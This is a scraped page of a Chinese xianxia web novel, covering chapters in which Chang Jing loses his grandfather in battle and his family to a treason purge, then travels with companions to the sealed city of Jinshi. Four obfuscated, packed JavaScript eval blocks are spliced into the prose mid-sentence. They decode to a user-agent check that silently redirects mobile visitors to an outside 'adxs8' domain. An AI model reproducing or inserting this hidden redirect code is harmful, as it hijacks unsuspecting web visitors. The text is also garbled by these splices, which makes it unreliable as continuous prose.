d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15015058|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着他,“瀞儿,我最近总是心神不宁的,爹将近七旬,身体也没从前那么壮实,我怕,我怕他……” 常瀞蹭过去,搂住常夫人的肩膀:“没事,娘,两个表哥肯定跟着外祖父。再说,我不是也回来了吗,我也和外祖父一块去,保证打个胜仗,带着外祖父高高兴兴地回来。” 常夫人被他逗笑,朝他脑袋上轻轻扇了一把:“别闹了,你上过战场吗,少给你外祖父添乱。还带着他高高兴兴地回来,你不气他都算好的了。” 常瀞挺起胸膛,正色道:“阿娘,我是认真的,大哥和阿爹都是文官,上不了战场,咱们家只有我了。我跟着外祖父去,就老老实实当个他的帐前小兵,保证服从命令。” “……好。”常夫人怔怔看着他。 三日后,大昭的一间酒肆里,常瀞与两位少年相对而坐。 白衫少年名唤陶然,是太虚山宗主之孙。他把剑扔到酒桌上,坠着一颗赤色宝石的红剑穗晃晃悠悠,他大喊:“我不管我不管,我也要跟你去。” 常瀞瞪他一眼,去捂他的嘴:“小声点,你跟着闹什么,早知道不跟你说了。” 灰衫少年抱着怀中暖炉,淡笑道:“是啊,修仙者不可介入凡间战场,这条规矩不能破的。” “那他凭什么能去!” 常瀞在桌子底下给他一脚:“我娘不放心,我偷偷跟着去,不到万不得已不出手,又不会影响战场。再说了,我们家老爷子好歹也是大昭赫赫有名的战神,也许我就是去溜达一圈,啥也没干,就跟着他们得胜归来了,你们就安心等着吧。” 陶然哀嚎。 常瀞没理他,转向灰衫少年:“姬润,你呢,最近怎么样,那位贵妃和她的大胖儿子没找你麻烦吧。” 姬,是大昭皇姓。大昭皇帝后宫无数,却膝下荒凉,只有三个孩子。长女姬揽晴,为已故皇后所生。次子姬润,为一个没有留下名姓的宫女所生。幺子姬洛,为最受宠爱的贵妃所生。 说来也巧,姬润出生时,皇上在去看他的路上摔了一跤,从此身体大不如前,连带着他就十分厌恶这个孩子。这莫须有的厌恶,常瀞和陶然一致认为和贵妃的枕边风有关。 贵妃为了自己和姬润年岁相差无几的儿子,一直欺压姬润母子。也因此,姬润的母亲早早离世。姬润虽勉强活下来,也身体虚弱,极易生病。常瀞、陶然和姬润就是少时在书院,实在看不过去姬洛的带头欺压,挺身而出仗义执言,这才与姬润结识的。 姬润笑笑:“挺好的,皇姐最近也从太虚山回来了,有皇姐护着我呢。” 陶然叹气:“唉,你说你修为就是差了一点,不然我高低要说服爷爷,让你也去太虚山,从此离那娘俩远远的。” 姬润放下暖炉,给他斟酒:“好了,我真的没事,你们好好去忙自己的事情,放心吧。” 酒肆里的笑闹声响至深夜,才渐渐消散在冰冷刺骨的晚风中。 次日,常瀞换上一身银甲,和家人告别。他冲大哥做了个鬼脸,笑着让他别光忙着政事,忘了怀着孕的大嫂,大哥板着脸给了他一脚。他拥抱了一下阿娘,然后对着面上遮不住疲倦之色的阿爹道:“阿爹,朝中谁给你找麻烦,等我回来你告诉我,我半夜去他们家砸窗户。” 年近五旬的常相仍然清俊,只是头上添了几缕银丝,他也不斥小儿子的顽劣,笑着给他整理银甲:“平安回来。” 常瀞干脆地应了一声,翻身上马,去追远去的大军。 53. 昔时(二) 大昭边疆。 战场上沙尘四起,常瀞抹了一把脸上的血与灰,仓惶地望向四周。四面战场都有时不时的雷光炸响,每一道雷光的落点必定会带走许多战士的生命。 大胤怎么敢! 他们怎么敢公然撕破一直以来默认的规矩!他们怎么能让修仙者上战场! 修仙一道自古以来便不算常事,可能数万人之中才能出一个修仙者。修仙,是为除魔卫道,绝非倚强凌弱。当修仙者出现在全是普通战士的战场上,顷刻间便会造成大量死伤。因此两国交战,首先默认的,便是修仙者不得上战场。大昭此次出征,按照惯例,只带了不到五位修仙者,以做防备。 两国交战后,常瀞跃跃欲试想上前线和战士们一道杀敌,却被外祖父关老将军无情镇压,只得老老实实待在帅帐里。 在不断传来的战报中,大昭从与大胤从一开始的战况焦灼,慢慢转而有了取胜的倾向。常瀞放下心来,立在帐外遥望碧影山的方向,盼着外祖父和表哥他们能快点打个胜仗,他好快马加鞭赶去碧影山找郁离。 战报一会儿一道,全是关于大昭的好消息。常瀞坐不住,跑去帮忙清点粮草。 就在这时,他敏锐地察觉到,战场方向的气息有变。紧接着,便有雷光电射而来,在大昭阵营炸响。 常瀞瞬间便认出,这是仙门几乎人人都会使的天雷术。突如其来的仙家法术出现在战场之上,击碎了所有人的认知。常瀞此时也顾不得那些默认的规矩了,飞快升空想要观察前方的战场。在他动作的同时,大昭上战场从来都是打酱油的修仙者也反应过来,跟着升空。 只是,十分不巧,他们这一升空,恰巧赶上大胤更换天雷术的落点。漫天惊雷不约而同,朝大昭的营帐砸来,他们被砸了个措手不及,根本来不及防御,有两三人当即被击中,不知死活。 常瀞自然也被天雷术照顾到,身上的防御法器破碎,雷光在眼前炸开,一片空白,什么也看不见,头更像是被巨石撞击。他失去意识,从半空中砸在地上。 过了不知多久,常瀞醒来后,眼前的白光仍未散去,更要命的是耳朵也被方才的落雷影响,只能听见周围隐隐约约的喊杀声。额角有温热的血留下,他擦了一把,摸索着掏出几粒丹药吃掉,强迫自己快点冷静下来。 无法他昏过去的判断时间,但是喊杀声证明这场战还未结束。 己方带着的几名修仙者八成是不行了,大胤如此疯狂地用上了仙家法术,根据方才升空看到的景象,粗略估计对方阵营的修仙者人数至少在二十余人。 这说明,此战必败。大昭已无力回天…… 冷静,冷静下来! 他还是个没出师的学生,纵然在宗门被寄予多少厚望,在大胤派来的这么多修仙者前都无法力挽狂澜。那么,他现在最应该做的,是把消息带回去。 但在这之前,他必须去一趟战场。 天雷术带来的影响渐渐减退,眼前重新清晰,听力也开始恢复。常瀞扣好面甲,起身时踉跄了一下,然后义无反顾向前线奔去。 前线的战士死伤无数,他一路经过,鞋底粘满了不知多少战士们的鲜血,心从揪紧变得麻木。直到他发现前方横躺在地上的两个人,麻木的心一缩。 地上倒着的是他的两个表哥。 常瀞慌慌张张跑过去,发现大表哥已经咽气,二表哥胸前的银甲被炸开一个大洞,半闭着的眼睛在看清常瀞后,亮了一下。 常瀞抖着手从瓶子里取丹药,丹药没拿稳,掉在地上。他又倒出来一颗,想要喂给二表哥。 二表哥握住他的手,推开丹药,摇了摇头,然后给他指了一个方向,用微弱的气音道:“我不行了,去找祖父……” “可……” “快去,快去……” 常瀞眼圈发红,最终在二表哥的声音越来越低的催促下,奔着他指的方向去了。 他在一个矮坡背后找到了外祖父,外祖父胸前被血染红了一片,他将剑支在地上,正挣扎着想要站起来。 一个大胤小兵持剑步步逼近,小兵的神情很是兴奋,似乎是没想到敌方的将军最后能落在他手上。长剑高高扬起,在即将落下时,他对上了关老将军的视线,那是何等不屈坚毅的眼神,裹挟着冲天的怒火,硬是让他的剑慢了一瞬。也就是这一瞬,给了匆匆赶来的常瀞机会,一剑斩下他的头。 血迸射而出,洒在了常瀞和关老将军的身上。关老将军看清来人,支着剑的手霎时卸了力,倒在地上,神情也委顿下来。 常瀞扑过去,跪在地上,他扶起关老将军,声音颤抖:“外祖父,您……” 关老将军眼睛半阖,咳了几声,问道:“旭儿和朝儿呢……” “他们,他们……”常瀞说不出话来。 “咳咳,我知道了。”关老将军眼睛闭上,流下一行浊泪,“是我啊,都怪我,要是不让你们跟着来就好了……三十年前,儿子跟着我上战场,人没了,留下这两个孩子。现在这两个孩子又……都是我的错啊,就不该让他们习武。” 常瀞眼眶发热,语无伦次:“这怎么能是您的错,全怪大胤,您先,先别说话了,我喂你吃个丹药,就带您回家……” “回不了啦,你看看这战场上,死了多少人,咱们大昭有多少人在等着他们回家啊。咳咳,他们都回不去了,我怎么有脸回啊……”关老将军睁开眼,目光呆滞看着天空。 “不,不行……”常瀞紧紧抓住关老将军的手。 “瀞儿,小时候我总训你调皮,不认真练功,生怕你长大成了个纨绔子弟。我看不惯你那个手无缚鸡之力的爹,又见你从小养得娇贵,总是对你虎着脸。对不起啊,瀞儿,你从来都是个好孩子,是外祖父不好……”关老将军望向常瀞,目光恢复了些清明,“你长大了,外祖父老了,你那个书生爹我是指望不上,以后就该你保护你娘了……快走吧,趁大胤还没搜过来……” 方才天雷术的造成的影响好像又回来了,常瀞眼前变得模糊,关老将军的声音也忽近忽远,他眼泪落下:“不行,我答应了阿娘的,我要带您回去……我答应阿娘的……” 眼前的景物已经成了虚影,他的耳朵也不知何时会恢复,又或许会越来越严重, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15045675|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间拖不得了。他一咬牙,打算不顾关老将军的反对,将他背在背上就走。 常瀞刚背对关老将军俯下身,就察觉到身后有人逼近,不过到底因为耳中的嗡鸣声太大,他的反应比平时慢了一瞬。 等他拔剑回过头,一切都晚了。 “瀞儿!走!”关老将军挡在常瀞身前,调动全身的最后一丝力气,将剑送入一个大胤小兵的胸膛。 与此同时,那小兵也抖着手用长矛把关老将军钉在了地上,血从关老将军的嘴里和身下涌出,染红了身下的土地,也染红了常瀞的视野。 头忽然如针刺般疼痛,常瀞眼前一黑,昏了过去。 关靖安老将军战死,大昭大败的消息是和昏迷不醒的常瀞一并送入丞相府的,常夫人眼睛红了一圈,但腰杆仍然挺得直直的,谢过送儿子回来的将士,回到内院,被大着肚子的大儿媳一路扶着,才没有脱力跌倒在地上。 常相得知消息,匆忙赶回家中。他的妻子坐在儿子床边,握着小儿子的手。他从未见过妻子如此绝望无助的模样,关靖安的小女儿,将门虎女,她在他眼中从来都是活泼热烈的,像是一团火。哪怕是因为生小儿子身体变差,再也无法舞刀弄剑,她也会随手取一把折扇,笑着挑起他的下巴,然后靠在榻上将折扇舞的虎虎生风。 “霁阳……” 关霁阳眼泪落下:“望川,我爹没了,两个侄儿也没了……瀞儿,瀞儿也成了这样,都是我的错,我不该让他去的……” 常望川紧紧搂住妻子,任凭妻子在怀中放声大哭。 丞相府的门槛被大大小小的名医,甚至是御医,踏了一轮,常瀞也没能醒转。就连太虚山来人,给出的结论也是,头部受伤,或许明天就会醒,也或许永远都不会醒来。 陶然来看过他一次,决定出去走走,试试能不能找到隐于乡野间的名医。陶然一走,只剩姬润时常过来,他的姐姐姬揽晴偶尔也会跟来。 大昭这一败,割给大胤三城。朝中各种声音更加尖利,常望川天天忙得焦头烂额,回家还要面对昏迷不醒的小儿子,头上的白发也是越来越多。 大昭朝中目前分两派,一派是以常望川常相为首的死战派,一派是以秦太尉为首的退让派。两边声浪都很大,但秦太尉一派隐隐占上风,不为别的,只因为秦太尉的女儿是当今圣上最宠爱的贵妃。 常望川看过小儿子,坐回去桌边,眉头紧锁:“我怀疑秦太尉和大胤有勾结,这种感觉越来越明显,我已经找人去盯着他。他那一派的人被煽动的都成了失心疯,一味退让的后果只会是亡国,还指望大胤心慈手软吗。” 常清给弟弟掖好背角,沉着脸:“可没有证据,若是真的,他必须得为这次出征的将士们付出代价。” “证据我已经有了眉目。”常望川沉吟半晌,握住妻子的手,“霁阳,我很担心,你带着孩子们出去避避吧。” “不,我不走,咱们是一家人,不能分开。”关霁阳坚定道。 常清也道:“爹,我们哪都不去,错的又不是我们,为什么要我们走。” “你们,唉……” 54. 昔时(三) “娘,您找我?”常清刚一回府,在妻子房里把椅子还没坐热,就被关霁阳的侍女叫走。他顺着游廊来到常瀞房里,自从常瀞昏迷不醒,关霁阳几乎一有时间就守在他弟弟房里,“瀞儿今日怎么样?” 关霁阳让他把门关严,坐在床前朝他招手,眼中闪烁着奇异的光彩:“娘问你,你还记不记得,应当是十年前,你弟弟失踪好几个月,回来后神神秘秘给我吃了种药,然后我就好啦。” 生完弟弟后,关霁阳身体亏空严重,用多好的补药都调理不回来。直到那次弟弟回家,带回来一味药。起初无人在意,都当和从前那些江湖郎中送来的骗人东西一样,可谁知,她的身体真的一天天好了起来,甚至连陈年练武的旧伤都一并消除。 常清很快回忆起来:“是不是像一颗竹笋,问他是什么他也不说,问他从哪弄的他也不说,我还差点儿给他扔了的那个?” “对对对,像块玉雕的竹笋一样。”关霁阳激动起来,“我忽然想到,你说这药这么灵,会不会也能治好瀞儿。” “……也许。” “那你后来有没有听你弟弟提起过,是在哪找到的,或者还有没有剩下来的药!” 常清蹙眉,来回踱了几步:“我没听他提过。他当年不是怎么都不肯说,而且还让咱们三个也别往外传。” “怎么这样,瀞儿都睡了一个月了……”关霁阳垮下身子,扭过身,摸了摸常瀞苍白的脸。 常清拧了条帕子,细细给弟弟擦完脸:“娘,您别急,我记得他当时提过,他是从南疆那个方向回来的,我暗中差人去查一查。” 关霁阳点了点头。 两人在房里叙话,常清三言两语道完今日朝廷的动向,关霁阳又开始忧心。 “咚咚咚。”敲门声响起。 “谁啊,进。”关霁阳挺直腰背。 “伯母,是我。”敲门的人是姬润,他提了几样糕点,笑容浅淡,“我来看看常瀞。” 关霁阳站起身,堆起一个笑:“快进来,你这孩子,都说过几次了,来这儿就跟回家一样,总是带东西,真不听话。” 姬润笑道:“下回保证不带了。” “你次次都这么说。”关霁阳手指点点他的头。 姬润问过常瀞最近的情况,嘴角一直挂着的笑渐渐消失。关霁阳拭去眼角的泪,拉他到桌前坐下,招呼他喝茶,两人互相安慰了一番。 常清给弟弟把手擦完,拧干帕子搭在架子上,扫了眼姬润带来的点心:“巧了,我下值去买这家点心,刚好卖完,店家说正在做新的,让我过会儿再去。这下可好,省得我再跑一趟。” “是吗,那我可真是送对了。”姬润道。 常清打开油纸,取了块点心吃:“你是刚买的?还热着呢。” 姬润望向一旁安安静静躺着的常瀞,垂眸敛目:“嗯,常瀞爱吃,我来的路上看到就买了。” 常清看他一眼:“早知道我就多等片刻了,刚回来你嫂子还跟我闹呢。” 关霁阳瞪他一眼:“怎么从来不见你给娘买点心。” 常清:“爹会给你买。” “不说这个了。”关霁阳生硬地转移话题,“公主呢,有段时间没见着她了,听说她病了。” 姬润垂下头:“皇姐她,这次病得有点严重,不过别担心,太医说了,可能就是受了凉,没什么大毛病,或许很快就会好起来的。” 又闲谈了几句,关霁阳留姬润用饭,姬润礼貌拒绝,说是下次再带太医来看看,便告辞了。 …… 过了小半月。 一片漆黑,一片寂静,常瀞就在这样寂静的黑暗里一直行走,从开始的惊惶恐惧,到后来的麻木机械。没有方向,也没有目标,累了就停下歇歇,歇够了就继续走,他也不知道何时才能走到尽头。 就这样,不知过去多久。 “常瀞,常瀞……” 有声音从远方影影绰绰传来,听得不甚清晰,常瀞却知道,那人是在唤他。 是谁……很熟悉的声音…… 随声音而至的,是带有一丝凉意的风,混着竹林间独有的清淡香气,让他混沌的脑海霎时清朗。 像是有温凉的泪滴落在他额头、眉心和脸颊,顺着脖颈滑入衣领深处。 常瀞动了动眉,掀开了沉重的眼皮。一道影子一闪而逝,等他适应明暗交替,窗外只余斑驳的树影。 天亮后,关霁阳一如既往先来到小儿子的房间。她打湿帕子,来到床前,却骤然对上常瀞半睁的双眼。 “阿娘……” “瀞儿!你醒了!”帕子应声而落,关霁阳扑到床边,眼泪盈眶,“你这孩子……” 关霁阳的惊呼惊醒了正在打盹的小厮,小厮见小公子醒来,掐了一把自己的脸,手舞足蹈跑出去传消息,没空去想昨夜怎么迷迷糊糊睡着了。 “阿娘,别哭了,我这不是醒了。”常瀞声音虚弱,他想到刚醒时那个一闪而过的身影,问道,“阿娘,昨夜有没有人来过。” “你睡糊涂了,哪来的人,就只有小厮,天天夜里在你房里候着。”关霁阳边哭,边给了他一拳:“你要急死我吗!天天躺在这儿一动不动,不知道我们有多着急!” 常瀞苦着脸:“阿娘,疼……” “哦哦哦,不好意思,娘太激动了。”关霁阳擦了一把眼泪,破涕为笑,“你先自己再躺会儿,我得赶紧去告诉你爹他们。” 常瀞费力地抬了抬手,想再问问关霁阳关于他昏迷后的一些事情,却只能看着关霁阳渐渐跑远的背影,很是无助。 小公子醒来的消息很快传遍整个丞相府,突如起来的好消息一扫府中连日的阴云。 刚醒来不久,头脑还不是很清醒,常瀞闭目靠在床上整理他昏迷后错过的信息。 听他阿娘说,大胤派修仙者上战场的消息还是被一个运气不错、及时溜走的大昭修仙者传了回去,他就是被后续的增援队伍找回来的。他外祖父和两个表哥的尸骨也被送了回来,现已安葬。大昭战后元气大损,被迫割地求生。关靖安老将军战死,让常望川在朝中更为不易,其主导的主战派被秦太尉主导的主和派抓住机会,逼得连连败退。 还有,他昏睡不醒,已两月有余。距离他与郁离约定的时间,已过一月。拜各类突发情况所赐,此前虽少有准时,但也从未逾期这样久。 他躺在床上焦急万分,可尚未恢复的身体,和大昭飘摇动荡的局势,令他陷入两难。帝王昏庸,秦贵妃与秦太尉在一旁虎视眈眈,他一日在丞相府,哪怕仍在卧床,他们也会忌惮太虚山,不敢轻举妄动。 可他若走了,一切便是未知。人心尚难猜测,何况是披着人皮的狼子野心,他不敢赌。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15065716|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>关霁阳小心地给他喂水,等他一点点抿完,擦擦他唇角:“你先好好养病,等病养好了,再去找小郁离,他肯定不会生你气的。” 常瀞点头:“好,我养好了再去,阿娘你别担心。” 第二日,常瀞已经能靠在床上吃一些流食。没等他高兴自己的恢复速度,官兵便冲进了丞相府。他们不顾阻拦,闯入常望川的书房,自称找到了大昭丞相与大胤通敌的文书证据。常望川与常清当即下狱。 关霁阳云淡风轻地安慰完常瀞,让他别着急,在家里呆着,自己出府联系关老将军的旧部战友,四处奔走。 他在床上焦急万分,却动弹不得。 姬润沉着脸来看他,双眼通红,带来了另一个令他悲痛万分的消息。 “陶然……陶然他出事了,有人在城外发现了他的尸体。”姬润说着说着,声音哽咽。 这句话忽然砸下来,常瀞甚至反应不过来,他扯扯嘴角,声音却是颤抖:“这玩笑不好笑。” “我被官府叫去认领了……是他。伤口在脖子上,深可见骨,阿瀞,你说,他该有多疼啊。” “……是谁,是谁杀了他!” “不清楚,官府还在查。”姬润垂着头,走过来轻轻抱了抱他,“你要好好的。我先走了,太虚山来人接陶然,我还得去看看。你父亲和大哥的事,回宫后我也会帮着问问。” 姬润走后,常瀞一个人呆呆着望着床幔,望了很久。他还是不愿相信,那个从小到大与他“沆瀣一气”的陶然,最是仗义的陶然就这样离开了。明明说好的,他们还要一起行侠仗义,踏遍大好河山。 又过一日,事态急转直下,皇上似乎得了失心疯,全然不顾大昭案件应走的流程,不顾群臣的谏言,执意判常望川,常清斩立决。次日立即执行。 短短两日,丞相府天翻地覆。关霁阳下定决心,拖着疲惫的身躯来到小儿子房里,她牵起嘴角,对常瀞露出一个难看的笑:“对不起啊,瀞儿,我没有办法坐以待毙,我要去救你爹和你大哥。” 常瀞慌神,看着关霁阳的神色却说不出阻拦的话:“阿娘,不……” 你不能去…… “瀞儿,如果……如果我回不来了。你安顿好你大嫂,就走吧。要么回太虚山,要么去找小郁离。总之走得远远的,再也不要回来了。” 关霁阳说完,俯身抱了抱她的小儿子,转身决绝而出。她取下墙上挂着的雪亮长刀,这把刀是他初习武时,阿爹找人为她专门打造的,刀刃依然很锋利,每一天她都悉心保养,哪怕是在她身体不好的那十几年。 她上马,向街口奔去。远远便看见了自己的夫君和大儿子被刀压着,跪在地上。 抽刀,竖砍,冲破官兵的阻碍。她崩着脸,面对无数利刃,丝毫不惧。她的父亲是大昭曾经的战神,她也随父亲一同上过战场,杀过敌,她是锐不可当,无所畏惧的关家女。 已经很近了,近到能看清父子俩脸上惊慌的表情。她笑着扬鞭,马嘶鸣一声,前扑在地,眼前一片血色。 恍惚中,她又看见了那年初遇,文弱的书生上京赶考,正巧在京郊遇上匪徒拦路劫她。书生哆哆嗦嗦冲过来,挡在她身前,让她快走,却在她三下五除二绑了匪徒后傻眼。 常望川奋力挣扎的身影与书生渐渐重合,关霁阳倒在地上,撑着向前爬了一寸后,再也不动。 55. 金石(一) 后来的那段日子,常瀞每每回忆起来,都觉得痛苦万分,不似真实。不然,为何噩耗会接二连三,快到所有人,都措手不及。 爹,娘和大哥死了,他身体尚未恢复,躺在床上动弹不得,只剩大嫂,带着两三个未遣散的小厮,去街口收尸。大嫂挺着肚子收完尸,回到家,哭倒在地,血水顺腿流了一地,大人小孩都没救回来。 短短两日,亲人和挚友,常瀞都没了。 太虚山赶在大昭查抄丞相府前将常瀞接走,常瀞来到太虚山,不再修炼,只终日望着窗外发呆。师长同道们轮着劝了一圈,也没能让他振作起来。 半年后,大胤的铁骑踏进大昭王城,大昭亡。国破当日,姬揽晴不知所踪,姬润飞升,除此二人,大昭皇室成员皆被处死。 姬润不忍看昔日好友如此颓废,飞升后,来太虚山找过一次常瀞,他知道好友心里怕是没了念想,便试着给了他点希望:“你还想打开碧影山的封印吗?凡间没有的办法,上清境或许有。” 因着姬润这句话,常瀞眼里又有了光彩。他走出门,向担心他的师长同道们道歉,然后闭关刻苦修炼,直到飞升。 …… “后来的事你都知道了。我养好身子,就立刻去找你,可山中再也没有回应。”常瀞把郁离又抱紧了一点,“不过姬润也骗我,上清境也没有能打开碧影山封印的办法。” “对不起。”郁离内疚极了,一边说着,一边抬头,但常瀞按住了他,不让他抬头看他。 常瀞下巴在他头上乱蹭:“你说什么对不起,乱到什么歉。” 郁离摇摇头,没再说话。 说话间,前方阴云压境,他们已经到了金石城。 说到金石城,这里曾经是北境之中相当富庶的城市,只因金石城有袁家。袁家乃金石城中的大姓家族,家族有独门秘技——傀术。傀,除了可供傀师驱使战斗,傀师所做的低阶傀,也可以帮着做一些简单的活计,比如种地,洒扫等等。靠着傀术,金石城与傀相关的生意甚是红火。 直到,五百年前,魔物忽然在金石城出现。魔尸在城内大量肆虐,金石城内虽有傀师,却被打了个猝不及防,再加上当时,人们对魔尸的致命弱点还不了解。种种原因,促使金石城沦为人间地狱。 等上清境接到消息,金石城已然覆水难收。当时的上清境天尊,也即是当今的天尊湛昀,为了不让魔尸跑出城外,祸及周边,痛下决定,锁城,再清理其中的魔尸。 据传,那一战,金石城内血流成河,上清境的援兵也死伤过半。即便最后上清境试出了魔尸的弱点,金石城也药石无医,城内百姓无一活口。自此,原本富饶繁华的金石城成了荒城,在世人眼中被渐渐淡忘。 北境由于气候原因,常年寒冷,故而将“地广人稀”这个词体现的淋漓尽致,各个城镇相隔甚远。而金石城建城的位置就更加偏僻,它与附近的几个城镇都隔着绵延的雪山,城外还环绕着一圈宽阔的护城河。 郁离他们在护城河外降落下来,北境果然寒冷,河面上已经结了层薄薄的冰。刚从炎热的西域出来,大家都有些不适应,其中姬润的反应最大。刚一落地,他就披上了加厚的大氅,抱紧暖炉。 不知是不是因为提前了解了金石城的惨烈往事,他们隔河远眺金石城,都觉得金石城似乎被笼罩着一层厚厚的死气,看城墙上斑驳的暗影都像是风干的血迹。 沙十七沉默了一路,落地后便望向金石城,眼里涌动着郁离看不出的情绪。 褚游搓搓手,问道:“直接进去?” 虽然金石城是座荒城,但因为从魔物口中提起过。怕魔物借着没人住的荒城,在城内做手脚,他们还是谨慎地先在城外观察了一圈,才准备渡河而过。河面上的冰层虽薄,所幸他们轻功都不错。只有沙十七,过河时被冉愉带了一把。 褚游大概是从前做过将军,急急火火冲在最前面。郁离坠在后面,只觉得眼前一闪,褚游像是撞到了什么,从空中被弹开。 重寒酥眼疾手快扶了他一把,才没让他落在河里。 “怎么回事?”郁离问他。 褚游冲重寒酥咧嘴一笑,揉着额头回道:“不清楚,但感觉像是阵法或是封印。” “阵法或是封印?”常瀞闻言皱起眉头,踏着薄冰向金石城走去。结果如同褚游所言,城外河面上,确实有一道封印。他拔剑蓄力,向前斩了一记,封印纹丝不动。他退回去,摇摇头:“封印不弱,先回去。” 他们退回岸边,沿河转了一圈,确定这封印封的就是金石城,将这座城封了个固若金汤。 七人之中数姬润阵法最强,他顶着众人期待的目光绕了一圈又一圈,在封印上画画点点,最后红着脸回来:“不行,阵法和封印确有相通之处,但不多,我无能为力,也看不出这是什么封印。” 无法,他们只能用下下策,强攻。可这封印出乎意料地难缠,七人试了个遍,都没能撼动封印一下。 褚游坐在岸边,刚刚跟这封印搏斗了一番,气息有些不稳:“这荒城之外为何会有道封印,里面究竟被魔物藏了什么见不得人的东西。” 重寒酥常种地养花,也不在乎地上有没有土,坐在褚游身旁,托腮看向金石城:“来都来了,总得进去瞧瞧。” 郁离沉思:“封印会是魔物下的吗?” 姬润踱了几步:“听你一说……金石城虽然是荒城,但毕竟三百年前出过如此大的惨案,还同魔物有关。而且我曾听别人提过一句,金石城在上清境一直被重点观察。” 常瀞往郁离身旁靠了靠:“那它们不太可能有胆子,敢在这里搞这么大一座封印。” 重寒酥拍拍身上的土站起来:“你一说我也想起来了,金石城这一片好像还是天尊亲自看管。” 听他们都听说过此事,常瀞傻眼: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15092695|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “为何就我一点都不知道。” 姬润瞥他一眼:“你窝在那月宫,大门不出,二门不迈,天天就知道喝酒和欺负小白兔,能知道什么。” 郁离也跟着瞪他一眼,怎么可以欺负兔兔。 诸游感觉这金石城事件的走向越发迷惑,先是魔物,现在又有上清境来插一脚:“上清境在一座荒城设个封印,不是多此一举。这封印是不想外面的人进去,还是不想里面的人出来,不对里面应当没人了。” “单论防外人进来,金石城四周的高山本就是天然的屏障,更何况这里都荒废了,还发生过那样的事,一般人都会觉得这里晦气,不会往这里来。”冉愉环顾周围的高山,那些山头上都积满了白雪。 “在理。不过外面的高山能防住普通人,封印却能防住我们,否则没必要设下这样大型的封印,这里恐怕也在防其他有心人。”郁离面色凝重,又回忆了一下方才众人攻击时封印显现出来的样子,转头向姬润和重寒酥问道,“你们有没有听说过天尊为何亲自守金石城?” 姬润和重寒酥对视一眼,都摇了摇头。 封印解不开,他们进不去,光在这里讨论没有任何意义。继续尝试暴力破封印,也没人敢再提,毕竟天尊不会闲得没事,多此一举在荒城外面设一座封印,万一里面真有什么,这封印又真叫他们破了,里面的东西被放出来可如何是好。 事情就这么僵住,但要让他们转身走人,也绝不可能。 姬润想了想:“要么我回上清境一趟,面见天尊,陈情此事。” 常瀞点头:“也好。” 重寒酥:“麻烦你跑一趟了。” 姬润笑道:“这有何麻烦,刚巧我带的药吃完了,顺便回去取药。” 姬润走了,天色也暗下来。从金石城到最近的城镇也有不短的距离,他们干脆在金石城外搭起几个帐篷。北境的夜晚可比白日里更冷,眼见着河面上的冰都凝实了几分。 他们在几个帐篷中间生了一堆火,围坐在火堆旁取暖。褚游兴致勃勃硬是在冰面上破了个大洞,勾上来几尾鱼,架在火上烤了起来。怕鱼少不够吃,沙十七还带着冉愉到林子里套了两只山鸡,一时间,荒凉的金石城外香气飘飘。 郁离和褚游象征性地吃了一点,重寒酥和常瀞飞升多年早已能辟谷,平日里吃饭图个享受美味,于是大半的山鸡和烤鱼都留给了冉愉和沙十七。沙十七接过郁离递给他的鸡腿,神情还有些恍惚,她一口一口慢慢吃,也看不出合不合口味。 解决完肚子问题,褚游早就坐不住了,方才他听冉愉说,在林子里还瞧见了雪貂,兴冲冲拉上重寒酥就请沙十七带路,领他们也去瞧瞧。 郁离听见有雪貂,也坐不住了。那可是长了身好皮毛的雪貂,他当然也想瞧瞧。可屁股还未抬起来,常瀞就扯了扯他的袖子。他茫然回头,一看方才还热热闹闹的火堆旁,此时恰好就剩下三个人。 56. 金石(二) 冉愉探头,似乎在确认他们有没有走远。 常瀞轻咳一声,小声道:“等会儿我陪你去找。” 郁离赧然,趁冉愉没往这边看,踢了他一脚。 直到林中的那几道身影彻底消失不见,冉愉才回过头,正襟危坐:“总算找到只有我们三人的机会了,我是想和你们说说关于秘境的事情。” 常瀞往火堆里添柴,北境的夜里的风简直刺骨,再加上郁离本就怕冷,还是得把火烧的再旺一些:“那你先说说吧。” 